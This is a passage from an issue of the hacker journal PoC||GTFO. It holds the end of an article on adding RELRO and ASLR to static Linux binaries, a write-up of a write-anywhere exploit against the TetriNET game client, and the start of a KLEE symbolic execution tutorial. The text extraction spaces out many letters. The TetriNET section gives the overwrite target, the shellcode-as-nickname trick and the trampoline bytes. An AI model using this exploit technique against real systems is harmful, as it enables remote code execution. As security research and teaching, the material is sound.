0x0000000000000044 0x0000000000000044 R 4
TLS 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8

0x0000000000000020 0x0000000000000050 R 8
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000

0x0000000000000000 0x0000000000000000 RW 10
GNU_RELRO 0x00000000000cceb8 0x00000000006cceb8 0x00000000006cceb8

0x0000000000000148 0x0000000000000148 R 1

Sec t i on to Segment mapping :
Segment Sec t i on s . . .
00 . note .ABI−tag . note . gnu . bui ld−id . r e l a . p l t . i n i t . p l t . t ex t __libc_freeres_fn

__libc_thread_freeres_fn . f i n i . rodata __libc_subfreeres __libc_atexit
. s tapsdt . base __libc_thread_subfreeres . eh_frame . gcc_except_table

01 . tdata . in i t_ar ray . f i n i_ar ray . j c r . data . r e l . ro . got . got . p l t . data . bss
__libc_freeres_ptrs

02 . note .ABI−tag . note . gnu . bui ld−id
03 . tdata . tb s s
04
05 . tdata . in i t_ar ray . f i n i_ar ray . j c r . data . r e l . ro . got

Figure 17. RELRO is Broken for Static Executables

$ f t r a c e test_binary
LOCAL_call@0x404fd0 : __libc_start_main ( )
LOCAL_call@0x404f60 : get_common_indeces . constprop . 1 ( )
(RETURN VALUE) LOCAL_call@0x404f60 : get_common_indeces . constprop . 1 ( ) = 3
LOCAL_call@0x404cc0 : generic_start_main ( )
LOCAL_call@0x447cb0 : _dl_aux_init ( ) (RETURN VALUE) LOCAL_call@0x447cb0 :
_dl_aux_init ( ) = 7 f f e c 5 360b f 9
LOCAL_call@0x4490b0 : _dl_discover_osvers ion (0 x7 f f e c5360be8 )
LOCAL_call@0x46f5e0 : uname ( ) LOCAL_call@0x46f5e0 :__uname( )
<truncated>

Figure 18. FTracing a Static ELF
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( gdb ) x/gx 0x6d0018 /∗ . go t . p l t entry f o r s t r cpy ∗/
0x6d0018 : 0 x000000000043f600
( gdb ) watch ∗0x6d0018
Hardware watchpoint 3 : ∗0x6d0018
( gdb ) x/gx /∗ . go t . p l t entry f o r memmove ∗/
0x6d0020 : 0x0000000000436da0
( gdb ) watch ∗0x6d0020
Hardware watchpoint 4 : ∗0x6d0020
( gdb ) run
The program being debugged has been s t a r t ed a l r eady .
S ta r t i t from the beg inning ? (y or n) y
S ta r t i ng program : /home/ e l fma s t e r / g i t / l i b e l fma s t e r / examples / s ta t i c_b inary

Hardware watchpoint 4 : ∗0x6d0020

Old value = 4195078
New value = 4418976
0x0000000000404dd3 in generic_start_main ( )
( gdb ) x/ i 0x436da0

0x436da0 <__memmove_avx_unaligned>: mov %rdi ,%rax
( gdb ) c
Continuing .

Hardware watchpoint 3 : ∗0x6d0018

Old value = 4195062
New value = 4453888
0x0000000000404dd3 in generic_start_main ( )
( gdb ) x/ i 0 x43f600

0 x43f600 <__strcpy_sse2_unaligned >: mov %r s i ,%rcx
( gdb )

Figure 19. Exploring a Static ELF with GDB
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A Second Implementation

My first prototype had to be written quickly due to
time constraints. This current implementation uses
an injection technique that marks the PT_NOTE pro-
gram header as PT_LOAD, and we therefore create a
second text segment effectively.

In the generic_start_main() function (Fig-
ure 20) there is a very specific place that we must
patch and it requires exactly a five byte patch. (call
<imm>.) As immediate calls do not work when trans-
ferring execution to a different segment, an lcall
(far call) is needed which is considerably more than
five bytes. The solution to this is to switch to a
reverse text infection which will keep the enable_-
relro() code within the one and only code segment.
Currently though we are being crude and patching
the code that calls main().

Currently we are overwriting six bytes at
0x405b54 with a push $enable_relro; ret set
of instructions, shown in Figure 21. Our
enable_relro() function mprotects the part of the
data segment denoted by PT_RELRO as read-only,
then calls main(), then sys_exits. This is flawed
since none of the deinitilization routines get called.
So what is the solution?

Like I mentioned earlier, we keep the
enable_relro() code within the main programs
text segment using a reverse text extension, or a text
padding infection. We could then simply overwrite
the five bytes at 0x405b46 with a call <offset>
to enable_relro() and then that function would
make sure we return the address of main() which
would obviously be stored in %rax. This is perfect
since the next instruction is callq *%rax, which
would call main() right after RELRO has been en-
abled, and no instructions are thrown out of align-
ment. So that is the ideal solution, although it
doesn’t yet handle the problem of .tdata being
at the beginning of the data segment, which is a
problem for us since we can only use mprotect on
memory areas that are multiples of a PAGE_SIZE.

A more sophisticated set of steps must be taken
in order to get multi-threaded applications working
with RELRO using binary instrumentation. Other
solutions might use linker scripts to put the thread
data and bss into their own data segment.

Notice how we patch the instruction bytes start-
ing at 0x405b4f with a push/ret sequence, corrupt-

ing subsequent instructions. Nonetheless this is the
prototype we are stuck with until I have time to
make some changes.

– — — – — — — — – — –
So let’s take a look at this RelroS application.32

33 First we see that this is not a dynamically linked
executable.
$ r e a d e l f −d t e s t
There i s no dynamic s e c t i o n in t h i s f i l e .

We observe that there is only a r+x text seg-
ment, and a r+w data segment, with a lack of read-
only memory protections on the first part of the data
segment.
$ . / t e s t &
[ 1 ] 27891
$ cat /proc / ‘ p ido f t e s t ‘ /maps
00400000−004 cc000 r−xp 00000000 fd :01

4856460 /home/ e l fma s t e r / t e s t
006 cc000−006 c f000 rw−p 000 cc000 fd :01

4856460 /home/ e l fma s t e r / t e s t
. . .

We apply RelroS to the executable with a single
command.
$ . / r e l r o s . / t e s t
i n j e c t i o n s i z e : 464
main ( ) : 0x400b23

We observe that read-only relocations have been
enforced by our patch that we instrumented into the
binary called test.
$ . / t e s t &
[ 1 ] 28052
$ cat /proc / ‘ p ido f t e s t ‘ /maps
00400000−004 cc000 r−xp 00000000 fd :01

10486089 /home/ e l fma s t e r / t e s t
006 cc000−006cd000 r−−p 000 cc000 fd :01

10486089 /home/ e l fma s t e r / t e s t
006 cd000−006 c f000 rw−p 000 cd000 fd :01

10486089 /home/ e l fma s t e r / t e s t
. . .

Notice after we applied relros on ./test, it now
has a 4096 area in the data segment that has been
marked as read-only. This is what the dynamically
linker accomplishes for dynamically linked executa-
bles.

32Please note that it uses libelfmaster which is not officially released yet. The use of this library is minimal, but you will
need to rewrite those portions if you intend to run the code.

33unzip pocorgtfo18.pdf relros.c
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405b46 : 48 8b 74 24 10 mov 0x10(%rsp ) ,% r s i
405b4b : 8b 7c 24 0c mov 0xc(%rsp ) ,%ed i
405 b4f : 48 8b 44 24 18 mov 0x18(%rsp ) ,%rax /∗ s t o r e main () addr ∗/
405b54 : f f d0 c a l l q ∗%rax /∗ c a l l main () ∗/
405b56 : 89 c7 mov %eax ,% ed i
405b58 : e8 b3 de 00 00 c a l l q 413 a10 <ex i t>

Figure 20. Unpatched generic_start_main().

405b46 : 48 8b 74 24 10 mov 0x10(%rsp ) ,% r s i
405b4b : 8b 7c 24 0c mov 0xc(%rsp ) ,%ed i
405 b4f : 48 8b 44 24 18 mov 0x18(%rsp ) ,%rax
405b54 : 68 f4 c6 0 f 0c pushq $0xc0 f c6 f 4
405b59 : c3 re tq
/∗
∗ The f o l l ow i n g bad i n s t r u c t i o n s are never crashed on because
∗ the prev ious i n s t r u c t i on re turns in to enab le_re l ro () which c a l l s
∗ main () on b e h a l f o f t h i s funct ion , and then sys_ex i t ’ s out .
∗/

405b5a : de 00 f i add (%rax )
405b5c : 00 39 add %bh,(% rcx )
405b5e : c2 0 f 86 re tq $0x860f
405b61 : fb s t i
405b62 : f e ( bad )
405b63 : f f ( bad )
405b64 : f f ( bad )

Figure 21. Patched generic_start_main().
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– — — – — — — — – — –
So what are some other potential solutions for

enabling RELRO on statically linked executables?
Aside from my binary instrumentation project that
will improve in the future, this might be fixed either
by tricky linker scripts or by the glibc developers.

Write a linker script that places .tbss,
.tdata, and .data in their own segment and
the sections that you want readonly should be
placed in another segment, these sections include
.init_array, .fini_array, .jcr, .dynamic, .got,
and .got.plt. Both of these PT_LOAD segments will
be marked as PF_R|PF_W (read+write), and serve as
two separate data segments. A program can then
have a custom function–but not a constructor–that
is called by main() before it even checks argc and
argv. The reason we don’t want a constructor func-
tion is because it will attempt to mprotect read-
only permissions on the second data segment before
the glibc init code has finished performing its fixups
which require write access. This is because the con-
structor routines stored in .init section are called
before the write instructions to the .got, .got.plt
sections, etc.

The glibc developers should probably add a
function that is invoked by generic_start_main()
right before main() is called. You will notice there
is a _dl_protect_relro() function in statically
linked executables that is never called.

ASLR Issues

ASLR requires that an executable is ET_DYN unless
VMA mirroring is used for ET_EXEC ASLR. A stat-
ically linked executable can only be linked as an
ET_EXEC type executable.

$ gcc −s t a t i c −fPIC −p i e t e s t 2 . c −o t e s t 2
ld : x86_64−l inux−gnu/5/ crtbeginT . o :
r e l o c a t i o n R_X86_64_32 aga in s t ‘__TMC_END__’
can not be used when making a shared ob j e c t ;
r ecompi l e with −fPIC
x86_64−l inux−gnu/5/ crtbeginT . o : e r r o r adding
symbols : Bad value
c o l l e c t 2 : e r r o r : ld returned 1 e x i t s t a tu s

This means that you can remove the -pie flag
and end up with an executable that uses position
independent code. But it does not have an address
space layout that begins with base address 0, which
is what we need. So what to do?

ASLR Solutions
I haven’t personally spent enough time with the
linker to see if it can be tweaked to link a static
executable that comes out as an ET_DYN object,
which should also not have a PT_INTERP segment
since it is not dynamically linked. A quick peak in
src/linux/fs/binfmt_elf.c, shown in Figure 22,
will show that the executable type must be ET_DYN.

A Hybrid Solution
The linker may not be able to perform this task yet,
but I believe we can. A potential solution exists
in the idea that we can at least compile a stati-
cally linked executable so that it uses position in-
dependent code (IP relative), although it will still
maintain an absolute address space. So here is the
algorithm as follows from a binary instrumentation
standpoint.

First we’ll compile the executable with
-static -fPIC, then static_to_dyn.c ad-
justs the executable. First it changes the
ehdr->e_type from ET_EXEC to ET_DYN. It then
modifies the phdrs for each PT_LOAD segment,
setting phdr[TEXT].p_vaddr and .p_offset
to zero, phdr[DATA].p_vaddr to 0x200000 +
phdr[DATA].p_offset. It sets ehdr->e_entry to
ehdr->e_entry - old_base. Finally, it updates
each section header to reflect the new address range,
so that GDB and objdump can work with the bi-
nary.

$ gcc −s t a t i c −fPIC t e s t 2 . c −o t e s t 2
$ . / static_to_dyn . / t e s t 2
Se t t i ng e_entry to 8b0
$ . / t e s t 2
Segmentation f a u l t ( core dumped)

Alas, a quick look at the binary with objdump
will prove that most of the code is not using IP rel-
ative addressing and is not truly PIC. The PIC ver-
sion of the glibc init routines like _start lives in
/usr/lib/X86_64-linux-gnu/Scrt1.o, so we may
have to start thinking outside the box a bit about
what a statically linked executable really is. That is,
we might take the -static flag out of the equation
and begin working from scratch!

Perhaps test2.c should have both a
_start() and a main(), as shown in Figure 23.
_start() should have no code in it and use
__attribute__((weak)) so that the _start() rou-
tine in Scrt1.o can override it. Or we can compile
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916 } else i f ( loc−>el f_ex . e_type == ET_DYN) {
/∗ Try and ge t dynamic programs out o f the way o f the

918 ∗ d e f a u l t mmap base , as we l l as whatever program they
∗ might t r y to exec . This i s because the brk w i l l

920 ∗ f o l l ow the loader , and i s not movable . ∗/
load_bias = ELF_ET_DYN_BASE − vaddr ;

922 i f ( current−>f l a g s & PF_RANDOMIZE)
load_bias += arch_mmap_rnd ( ) ;

i f ( ! load_addr_set ) {
942 load_addr_set = 1 ;

load_addr = ( elf_ppnt−>p_vaddr − elf_ppnt−>p_of f s e t ) ;
944 i f ( loc−>el f_ex . e_type == ET_DYN) {

load_bias += e r r o r −
946 ELF_PAGESTART( load_bias + vaddr ) ;

load_addr += load_bias ;
948 reloc_func_desc = load_bias ;

}
950 }

Figure 22. src/linux/fs/binfmt_elf.c

Diet Libc34 with IP relative addressing, using it
instead of glibc for simplicity. There are multi-
ple possibilities, but the primary idea is to start
thinking outside of the box. So for the sake of a
PoC here is a program that simply does nothing
but check if argc is larger than one and then incre-
ments a variable in a loop every other iteration. We
will demonstrate how ASLR works on it. It uses
_start() as its main(), and the compiler options
will be shown below.

$ gcc −no s td l i b −fPIC t e s t 2 . c −o t e s t 2
$ . / t e s t 2 arg1

$ pmap ‘ p ido f t e s t2 ‘
17370 : . / t e s t 2 arg1
0000000000400000 4K r−x−− t e s t 2
0000000000601000 4K rw−−− t e s t 2
00007 f f c e f c c a 0 0 0 132K rw−−− [ s tack ]
00007 f f c e f d 20000 8K r−−−− [ anon ]
00007 f f c e f d 22000 8K r−x−− [ anon ]
f f f f f f f f f f 6 0 0 0 0 0 4K r−x−− [ anon ]
t o t a l 160K

$

ASLR is not present, and the address space is
just as expected on a 64 class ELF binary in Linux.
So let’s run static_to_dyn.c on it, and then try
again.

$ . / static_to_dyn t e s t 2
$ . / t e s t 2 arg1

$ pmap ‘ p ido f t e s t2 ‘
17622 : . / t e s t 2 arg1
0000565271 e41000 4K r−x−− t e s t 2
0000565272042000 4K rw−−− t e s t 2
00007 f f c 28 fda000 132K rw−−− [ s tack ]
00007 f f c 2 8 f f c 0 0 0 8K r−−−− [ anon ]
00007 f f c 2 8 f f e 0 0 0 8K r−x−− [ anon ]
f f f f f f f f f f 6 0 0 0 0 0 4K r−x−− [ anon ]
t o t a l 160K

Now notice that the text and data segments for
test2 are mapped to a random address space. Now
we are talking! The rest of the homework should be
fairly straight forward. Extrapolate upon this work
and find more creative solutions until the GNU folks
have the time to address the issues with some more
elegance than what we can do using trickery and
instrumentation.

34unzip pocorgtfo18.pdf dietlibc.tar.bz2
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1 /∗ Make sure we have a data segment f o r t e s t i n g purposes ∗/
stat ic int test_dummy = 5 ;

3
int _start ( ) {

5 int argc ;
long ∗ args ;

7 long ∗ rbp ;
int i ;

9 int j = 0 ;

11 /∗ Extrac t argc from s tack ∗/
asm __volatile__ ( "mov 8(%%rbp ) , %%rcx " : "=c" ( argc ) ) ;

13
/∗ Extrac t argv from s tack ∗/

15 asm __volatile__ ( " l e a 16(%%rbp ) , %%rcx " : "=c" ( args ) ) ;

17 i f ( argc > 2) {
for ( i = 0 ; i < 100000000000; i++)

19 i f ( i % 2 == 0)
j++;

21 }
return 0 ;

23 }

Figure 23. First Draft of test2.c

Improving Static Linking Techniques
Since we are compiling statically by simply cutting
glibc out of the equation with the -nostdlib com-
piler flag, we must consider that things we take for
granted, such as TLS and system call wrappers,
must be manually coded and linked. One potential
solution I mentioned earlier is to compile dietlibc
with IP relative addressing mode, and simply link
your code to it with -nostdlib. Figure 24 is an up-
dated version of test2.c which prints the command
line arguments.

Now we are actually building a statically linked
binary that can get command line args, and call stat-
ically linked in functions from Diet Libc.35

$ gcc −no s td l i b −c −fPIC t e s t 2 . c −o t e s t 2 . o
$ gcc −no s td l i b t e s t 2 . o \

/ usr / l i b / d i e t / l i b−x86_64/ l i b c . a −o t e s t 2
$ . / t e s t 2 arg1 arg2
. / t e s t 2
arg1
arg2
$

Now we can run static_to_dyn from Figure 25
to enforce ASLR.36 The first two sections are hap-
pily randomized!

$ . / static_to_dyn t e s t 2
$ . / t e s t 2 foo bar
$ pmap ‘ p ido f t e s t ‘
24411 : . / t e s t 2 foo bar
0000564 c f 542 f 000 8K r−x−− t e s t 2
0000564 cf5631000 4K rw−−− t e s t 2
00007 f f e 98 c8e000 132K rw−−− [ s tack ]
00007 f f e98d55000 8K r−−−− [ anon ]
00007 f f e98d57000 8K r−x−− [ anon ]
f f f f f f f f f f 6 0 0 0 0 0 4K r−x−− [ anon ]
t o t a l 164K

35Note that first I downloaded the dietlibc source code and edited the Makefile to use the -fPIC flag which will enforce
IP-relative addressing within dietlibc.

36unzip pocorgtfo18.pdf static_to_dyn.c
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#include <s td i o . h>
2

/∗ Make sure we have a data segment f o r t e s t i n g purposes ∗/
4 stat ic int test_dummy = 5 ;

6 int _start ( ) {
int argc ;

8 long ∗ args ;
long ∗ rbp ;

10 int i ;
int j = 0 ;

12
/∗ Extrac t argc from s tack ∗/

14 asm __volatile__ ( "mov 8(%%rbp ) , %%rcx " : "=c" ( argc ) ) ;

16 /∗ Extrac t argv from s tack ∗/
asm __volatile__ ( " l e a 16(%%rbp ) , %%rcx " : "=c" ( args ) ) ;

18
for ( i = 0 ; i < argc ; i++) {

20 s l e ep (10) ; /∗ l ong enough fo r us to v e r i f y ASLR ∗/
p r i n t f ( "%s \n" , args [ i ] ) ;

22 }
e x i t (0 ) ;

24 }

Figure 24. Updated test2.c.

Summary
In this paper we have cleared some misconceptions
surrounding the attack surface of a statically linked
executable, and which security mitigations are lack-
ing by default. PLT/GOT attacks do exist against
statically linked ELF executables, but RELRO and
ASLR defenses do not.

We presented a prototype tool for enabling full
RELRO on statically linked executables. We also
engaged in some work to create a hybridized ap-
proach between linking techniques with instrumen-
tation, and together were able to propose a solution
for making static binaries that work with ASLR.
Our solution for ASLR is to first build the binary
statically, without glibc.
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1 #define _GNU_SOURCE
#include <std i o . h>

3 #include <s t d l i b . h>
#include <e l f . h>

5 #include <sys / types . h>
#include <search . h>

7 #include <sys / time . h>
#include <f c n t l . h>

9 #include <l i nk . h>
#include <sys / s t a t . h>

11 #include <sys /mman. h>

13 #define HUGE_PAGE 0x200000

15 int main ( int argc , char ∗∗argv ) {
ElfW(Ehdr ) ∗ehdr ;

17 ElfW(Phdr ) ∗phdr ;
ElfW( Shdr ) ∗ shdr ;

19 uint8_t ∗mem;
int fd ;

21 int i ;
struct s t a t s t ;

23 uint64_t old_base ; /∗ o r i g i n a l t e x t base ∗/
uint64_t new_data_base ; /∗ new data base ∗/

25 char ∗Str ingTable ;

27 fd = open ( argv [ 1 ] , O_RDWR) ;
i f ( fd < 0) {

29 per ro r ( "open" ) ;
goto f a i l ;

31 }

33 f s t a t ( fd , &s t ) ;

35 mem = mmap(NULL, s t . st_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd , 0) ;
i f (mem == MAP_FAILED ) {

37 per ro r ( "mmap" ) ;
goto f a i l ;

39 }

41 ehdr = (ElfW(Ehdr ) ∗)mem;
phdr = (ElfW(Phdr ) ∗)&mem[ ehdr−>e_phoff ] ;

43 shdr = (ElfW( Shdr ) ∗)&mem[ ehdr−>e_shof f ] ;
Str ingTable = ( char ∗)&mem[ shdr [ ehdr−>e_shstrndx ] . sh_of f s e t ] ;

45
p r i n t f ( "Marking e_type to ET_DYN\n" ) ;

47 ehdr−>e_type = ET_DYN;

49 p r i n t f ( "Updating PT_LOAD segments to become r e l o c a t ab l e from base 0\n" ) ;
for ( i = 0 ; i < ehdr−>e_phnum ; i++) {

51 i f ( phdr [ i ] . p_type == PT_LOAD && phdr [ i ] . p_of f set == 0) {
old_base = phdr [ i ] . p_vaddr ;

53 phdr [ i ] . p_vaddr = 0UL;
phdr [ i ] . p_paddr = 0UL;

55 phdr [ i + 1 ] . p_vaddr = HUGE_PAGE + phdr [ i + 1 ] . p_of f set ;
phdr [ i + 1 ] . p_paddr = HUGE_PAGE + phdr [ i + 1 ] . p_of f se t ;

57 } else i f ( phdr [ i ] . p_type == PT_NOTE) {
phdr [ i ] . p_vaddr = phdr [ i ] . p_of f set ;

59 phdr [ i ] . p_paddr = phdr [ i ] . p_of f se t ;
} else i f ( phdr [ i ] . p_type == PT_TLS) {

61 phdr [ i ] . p_vaddr = HUGE_PAGE + phdr [ i ] . p_of f set ;
phdr [ i ] . p_paddr = HUGE_PAGE + phdr [ i ] . p_of f se t ;

63 new_data_base = phdr [ i ] . p_vaddr ;
}

65 }
/∗

67 ∗ I f we don ’ t update the sec t i on headers to r e f l e c t the new address
∗ space then GDB and objdump w i l l be broken with t h i s binary .

69 ∗/
for ( i = 0 ; i < ehdr−>e_shnum ; i++) {

71 i f ( ! ( shdr [ i ] . sh_f lags & SHF_ALLOC) )
continue ;

73 shdr [ i ] . sh_addr = ( shdr [ i ] . sh_addr < old_base + HUGE_PAGE)
? 0UL + shdr [ i ] . sh_of f s e t

75 : new_data_base + shdr [ i ] . sh_of f s e t ;
p r i n t f ( " Se t t ing %s sh_addr to %#lx \n" , &Str ingTable [ shdr [ i ] . sh_name ] , shdr [ i ] . sh_addr ) ;

77 }
p r i n t f ( " Se t t ing new entry point : %#lx \n" , ehdr−>e_entry − old_base ) ;

79 ehdr−>e_entry = ehdr−>e_entry − old_base ;
munmap(mem, s t . s t_s i z e ) ;

81 ex i t (0) ;
f a i l :

83 ex i t (−1) ;
}

Figure 25. static_to_dyn.c
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18:07 A Trivial Exploit for TetriNET; or,
Update Player TranslateMessage to Level Shellcode.

by John Laky and Kyle Hanslovan

Lo, the year was 1997 and humanity com-
pletes its greatest feat yet—nearly thirty years af-
ter NASA delivers the lunar landings, St0rmCat
releases TetriNET, a gritty multiplayer reboot of
the gaming monolith Tetris, bringing capitalists and
communists together in competitive, adrenaline-
pumping, line-annihilating, block-crushing action,
all set to a period-appropriate synthetic soundtrack
that would make Gorbachev blush. TetriNET holds
the dubious distinction of hosting one of the most hi-
larious bugs ever discovered, where sending a offset
and overwritable address in a stringified game state
update will jump to any address of our choosing.

The TetriNET protocol is largely a trusted two-
way ASCII-based message system with a special
binascii encoded handshake for login.37 Although
there is an official binary (v1.13), this protocol en-
joyed several implementations that aid in its reverse
engineering, including a Python server/client imple-
mentation.38 Authenticating to a TetriNET server
using a custom encoding scheme, a rotating xor de-
rived from the IP address of the server. One could
spend ages reversing the C++ binary for this algo-
rithm, but The Great Segfault punishes wasted time
and effort, and our brethren at Pytrinet already
have a Python implementation.

# log i n s t r i n g l ook s l i k e
2 # ‘‘<nick> <vers ion> <server ip >’ ’
# ex : TestUser 1.13 127 .0 . 0 . 1

4 def encode ( nick , ver s ion , ip ) :
dec = 2

6 s = ’ t e t r i s s t a r t %s %s ’ % ( nick , v e r s i on )
h = str (54∗ ip [ 0 ] + 41∗ ip [ 1 ]

8 + 29∗ ip [ 2 ] + 17∗ ip [ 3 ] )
encodeS = dec2hex ( dec )

10
for i in range ( len ( s ) ) :

12 dec = ( ( dec + ord ( s [ i ] ) ) % 255)
^ ord (h [ i % len (h) ] )

14 s2 = dec2hex ( dec )
encodeS += s2

16
return encodeS

One of the many updates a TetriNET client can
send to the server is the level update, an 0xFF ter-
minated string of the form:

1 l v l <p laye r number> <l e v e l number>\x f f

The documentation states acceptable values for
the player number range 1-6, a caveat that should
pique the interest of even nascent bit-twiddlers. Pre-
dictably, sending a player number of 0x20 and a level
of 0x00AABBCC crashes the binary through a write-
anywhere bug. The only question now is which is
easier: overwriting a return address on a stack or a
stomping on a function pointer in a v-table or some-
thing. A brief search for the landing zone yields the
answer:

1 00454314: 77 f 1 e c c e 77 f1ad23 77 f 1 5 f e 0 77 f1700a 77 f1d969
00454328: 00 aabbcc 77 f27090 77 f 16 f 79 00000000 7 e429766

3 0045433 c : 7 e43ee5d 7 e41940c 7 e44 f a f 5 7 e42fbbd 7e42aeab

37unzip pocorgtfo18.pdf iTetrinet-wiki.zip
38http://pytrinet.ddmr.nl/
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Praise the Stack! We landed inside the import
table.

1 . ida ta :00454324
; HBRUSH __stdcal l

3 ; CreateBrushInd i rec t ( const LOGBRUSH ∗)
extrn __imp_CreateBrushIndirect : dword

5 ;DATA XREF: CreateBrushInd i r ec t r

7 . ida ta :00454328
; HBITMAP __stdcal l

9 ; CreateBitmap ( int , int , UINT,UINT,
; const void ∗)

11 extrn __imp_CreateBitmap : dword
; DATA XREF: CreateBitmapr

13
. ida ta :0045432C

15 ; HENHMETAFILE __stdcal l
; CopyEnhMetaFileA (HENHMETAFILE,LPCSTR)

17 extrn __imp_CopyEnhMetaFileA : dword
; DATA XREF: CopyEnhMetaFileAr

Now we have a plan to overwrite an often-
called function pointer with a useful address, but
which one? There are a few good candidates, and
a look at the imports reveals a few of particular
interest: PeekMessageA, DispatchMessageA, and
TranslateMessage, indicating TetriNET relies on
Windows message queues for processing. Because
these are usually handled asynchronously and ap-
plications receive a deluge of messages during nor-
mal operation, these are perfect candidates for cor-
ruption. Indeed, TetriNET implements a Peek-
MessageA / TranslateMessage / DispatchMess-
ageA subroutine.

sub_424620 sub_424620 proc near
2 sub_424620

sub_424620 var_20 = byte ptr −20h
4 sub_424620 Msg = MSG ptr −1Ch

sub_424620
6 sub_424620 push ebx

sub_424620+1 push e s i
8 sub_424620+2 add esp , 0FFFFFFE0h

sub_424620+5 mov e s i , eax
10 sub_424620+7 xor ebx , ebx

sub_424620+9 push 1 ; wRemoveMsg
12 sub_424620+B push 0 ; wMsgFilterMax

sub_424620+D push 0 ; wMsgFilterMin
14 sub_424620+F push 0 ; hWnd

sub_424620+11 l e a eax , [ esp+30h+Msg ]
16 sub_424620+15 push eax ; lpMsg

sub_424620+16 c a l l PeekMessageA
18 sub_424620+1B t e s t eax , eax

. . .
20 sub_424620+8E l e a eax , [ esp+20h+Msg ]

sub_424620+92 push eax ; lpMsg
22 sub_424620+93 c a l l TranslateMessage << ! !

sub_424620+98 l e a eax , [ esp+20h+Msg ]
24 sub_424620+9C push eax ; lpMsg

sub_424620+9D c a l l DispatchMessageA
26 sub_424620+A2 jmp short loc_4246C8

Adjusting our firing solution to overwrite the ad-
dress of TranslateMessage (remember the vulnera-
ble instruction multiplies the player number by the
size of a pointer; scale the payload accordingly) and
voila! EIP jumps to our provided level number.

Now, all we have to do is jump to some shell-
code. This may be a little trickier than it seems at
first glance.

The first option: with a stable write-anywhere
bug, we could write shellcode into an rwx section
and jump to it. Unfortunately, the level number
that eventually becomes ebx in the vulnerable in-
struction is a signed double word, and only posi-
tive integers can be written without raising an error.
We could hand-craft some clever shellcode that only
uses bytes smaller than 0x80 in key locations, but
there must be a better way.

The second option: we could attempt to write
our shellcode three bytes at a time instead of four,
working backward from the end of an RWX sec-
tion, always writing double words with one positive-
integer-compliant byte followed by three bytes of
shellcode, always overwriting the useless byte of the
last write. Alas, the vulnerable instruction enforces
4-byte aligned writes:

0044B963 mov ds : dword_453F28 [ eax ∗4 ] , ebx
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The third option: we could patch either the
positive-integer-compliant check or the vulnerable
instruction to allow us to perform either of the first
two options. Alas, the page containing this code is
not writable.

1 00401000 ; Segment type : Pure code
00401000 ; Segment perms : Read/Execute

Suddenly, the Stack grants us a brief moment of
clarity in our moment of desperation: because the
login encoding accepts an arbitrary binary string as
the nickname, all manner of shellcode can be passed
as the nickname, all we have to do is find a way to
jump to it. Surely, there must be a pointer some-
where in the data section to the nickname we can
use to jump it. After a brief search, we discover
there is indeed a static value pointing to the login
nickname in the heap. Now, we can write a small

trampoline to load that pointer into a register and
jump to it:

0 : a1 bc 37 45 00 mov eax , ds : 0 x4537bc
2 5 : f f e0 jmp eax

Voila! Login as shellcode, update your level to
the trampoline, smash the pointer to Translate-
Message and pull the trigger on the windows mes-
sage pump and rejoice in the shiny goodness of a
running exploit. The Stack would be proud! While
a host of vulnerabilities surely lie in wait betwixt
the subroutines of tetrinet.exe, this vulnerabil-
ity’s shameless affair with the player is truly one for
the ages.

Scripts and a reference tetrinet executable are
attached to this PDF,39 and the editors of this
fine journal have resurrected the abandoned web-
site, http://tetrinet.us/.

39unzip pocorgtfo18.pdf tetrinet.zip
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18:08 A Guide to KLEE LLVM Execution Engine Internals
by Julien Vanegue

Greetings fellow neighbors!
It is my great pleasure to finally write my first

article in PoC‖GTFO after so many of you have con-
tributed excellent content in the past dozens of is-
sues that Pastor Laphroig put together for our en-
joyment. I have been waiting for this moment for
some time, and been harassed a few times, to fi-
nally come up with something worthwhile. Given
the high standards set upon all of us, I did not feel
like rushing it. Instead, I bring to you today what I
think will be a useful piece of texts for many fellow
hackers to use in the future. Apologies for any er-
rors that may have slipped from my understanding,
I am getting older after all, and my memory is not
what it used to be. Not like it has ever been infail-
lible but at least I used to remember where the cool
kids hung out. This is my attempt at renewing the
tradition of sharing knowledge through some more
informal channels.

Today, I would like to talk to you about KLEE,
an open source symbolic execution engine originally
developed at Stanford University and now main-
tained at Imperial College in London. Symbolic Ex-
ecution (SYMEX) stands somewhere between static
analysis of programs and [dynamic] fuzz testing.
While its theoretical foundations dates back from
the late seventies (King’s paper), practical appli-
cation of it waited until the late 2000s (such as
SAGE40 at Microsoft Research) to finally become
mainstream with KLEE in 2008. These tools have
been used in practice to find thousands of security
issues in software, going from simple NULL pointer
dereferences, to out of bound reads or writes for
both the heap and the stack, including use-after-
free vulnerabilities and other type-state issues that
can be easily defined using “asserts.”

In one hand, symbolic execution is able to un-
dergo concrete execution of the analyzed program
and maintains a concrete store for variable values as
the execution progresses, but it can also track path
conditions using constraints. This can be used to
verify the feasibility of a specific path. At the same
time, a process tree (PTree) of nodes (PTreeNode)
represent the state space as an ImmutableTree
structure. The ImmutableTree implements a copy-
on-write mechanism so that parts of the state

(mostly variable values) that are shared across the
node don’t have to be copied from state to state un-
less they are written to. This allows KLEE to scale
better under memory pressure. Such state contains
both a list of symbolic constraints that are known to
be true in this state, as well as a concrete store for
program variables on which constraints may or may
not be applied (but that are nonetheless necessary
so the program can execute in KLEE).

My goal in this article is not so much to show
you how to use KLEE, which is well understood,
but bring you a tutorial on hacking KLEE internals.
This will be useful if you want to add features or add
support for specific analysis scenarios that you care
about. I’ve spent hundreds of hours in KLEE inter-
nals and having such notes may have helped me in
the beginning. I hope it helps you too.

Now let’s get started.

Working with Constraints

Let’s look at the simple C program as a motivator.

int f c t ( int a , int b) {
2 int c = 0 ;

i f ( a < b)
4 c++;

else
6 c−−;

return c ;
8 }

10 int main ( int argc , char ∗∗ argv ) {
i f ( argc != 3) return (−1) ;

12 int a = a to i ( argv [ 1 ] ) ;
int b = a to i ( argv [ 2 ] ) ;

14 i f ( a < b)
return (0 ) ;

16 return f c t ( a , b ) ;
}

It is clear that the path starting in main and con-
tinuing in the first if (a < b) is infeasible. This is
because any such path will actually have finished
with a return (0) in the main function already.
The way KLEE can track this is by listing con-
straints for the path conditions.

This is how it works: first KLEE executes some
bootstrapping code before main takes control, then

40unzip pocorgtfo18.pdf automatedwhiteboxfuzzing.pdf
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starts executing the first LLVM instruction of the
main function. Upon reaching the first if statement,
KLEE forks the state space (via function Executor-
::fork). The left node has one more constraint
(argc != 3) while the right node has constraint
(argc == 3). KLEE eventually comes back to its
main routine (Executor::run), adds the newly-
generated states into the set of active states, and
picks up a new state to continue analysis with.

Executor Class

The main class in KLEE is called the
Executor class. It has many methods such as
